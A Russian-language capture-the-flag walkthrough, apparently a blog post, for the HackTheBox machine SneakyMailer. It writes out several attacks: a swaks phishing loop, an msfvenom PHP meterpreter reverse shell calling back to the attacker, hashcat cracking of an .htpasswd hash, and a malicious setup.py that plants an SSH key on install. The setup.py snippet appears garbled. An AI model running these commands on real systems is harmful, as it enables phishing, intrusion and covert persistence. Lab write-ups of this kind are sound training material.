
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.
10.10.10.197 sneakymailer.htbПервым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 — веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htbНа сайте можно найти список сотрудников и соответствующие email’ы.

Для получения всех адресов электронной почты советую использовать email extractor.

А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt
И видим, что какой-то пользователь переходит по нашей ссылке.

Давайте декодируем данные.

И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.
Entry point
В качестве клиента используем Evolution.




Вводим пароль при подключении и видим два письма.

В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.


Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.


Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb
Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321И после обращения к нашему файлу, получаем активную сессию.


USER
Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.


Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2
hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt
Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb
На самом деле, установка своего пакета дает нам возможност�� выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директорию.

Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup
try:
f = open('/home/low/.ssh/authorized_keys', 'a')
f.write('ssh-rsa ... ')
f.close()
except:
setup(
name='ralfpack',
packages=['ralfpack'],
description='R',
version='0.1',
url='http://pypi.sneakymailer.htb:8080/ralfpack',
author='ralf',
author_email='ralf@ralf.com',
keywords=['pip','ralfpack','example'] )Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).


И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.

Загружаем все файлы на хост.

Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist
Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack
Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.

ROOT
Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.

Обращаемся к GTFOBins и видим инструкцию получения шелла.

Повторяем и получаем шелл от имени root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.